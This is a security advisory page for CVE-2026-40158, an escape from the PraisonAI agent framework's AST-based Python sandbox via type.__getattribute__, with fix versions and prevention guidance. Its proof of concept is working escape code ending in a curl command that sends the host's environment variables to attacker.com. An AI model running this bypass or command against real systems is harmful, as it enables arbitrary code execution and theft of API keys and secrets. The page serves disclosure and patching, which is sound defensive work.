Skip to content

GHSA-3c4r-6p77-xwr7 CVE-2026-40158 PYSEC-2026-2898

PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure

High PyPI
Severity
8.6 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.24%
Chance of exploitation in the next 30 days. Higher than 15.16% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-693 Protection Mechanism Failure
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
4.5.128
Upgrade praisonai to this version or later

Description

PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.

Description

The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:

The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.

type.__getattribute__(obj, '__subclasses__')  # Bypasses filter

The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.

Proof of Concept

# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]

# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()

# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, '__name__') == '_wrap_close':
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, '__init__')
        glb = type(init).__getattribute__(init, '__globals__')
        
        # Get system function and execute
        system = glb['system']
        system('curl https://attacker.com/steal --data "$(env | base64)"')

Impact

This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.

An attacker can:

  • Access sensitive data such as environment variables, API keys, and local files
  • Execute arbitrary system commands
  • Modify or delete files on the system

In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.


Affected Code

# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
    tree = ast.parse(code)
    
    for node in ast.walk(tree):
        # Only checks ast.Attribute nodes
        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
            raise SecurityError(...)
    
    # Bypass: string arguments are not checked
    exec(compiled, safe_globals)

Reporter: Lakshmikanthan K (letchupkt)

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
< 4.5.128
4.5.128

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.5.128

pip
pip install --upgrade "praisonai>=4.5.128"
poetry
poetry add "praisonai>=4.5.128"
uv
uv add "praisonai>=4.5.128"

Severity breakdown

CVSS 3.1 8.6

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-693: Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-26mh-57q7-jfvr
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
High Also affects praisonai
GHSA-6g6r-q6gw-w8fg
PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
Critical Also affects praisonai
GHSA-pvph-5j39-v8qc
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
High Also affects praisonai
GHSA-gfq8-hmph-9gjv
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
High Also affects praisonai
GHSA-2jgc-f764-c5r2
PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete
High Also affects praisonai
GHSA-pvxx-r596-f5qj
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
High Also affects praisonai
GHSA-hmfx-4v44-9qw9
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Medium Also affects praisonai
GHSA-rg5q-pp8p-f7jm
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
High Also affects praisonai
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor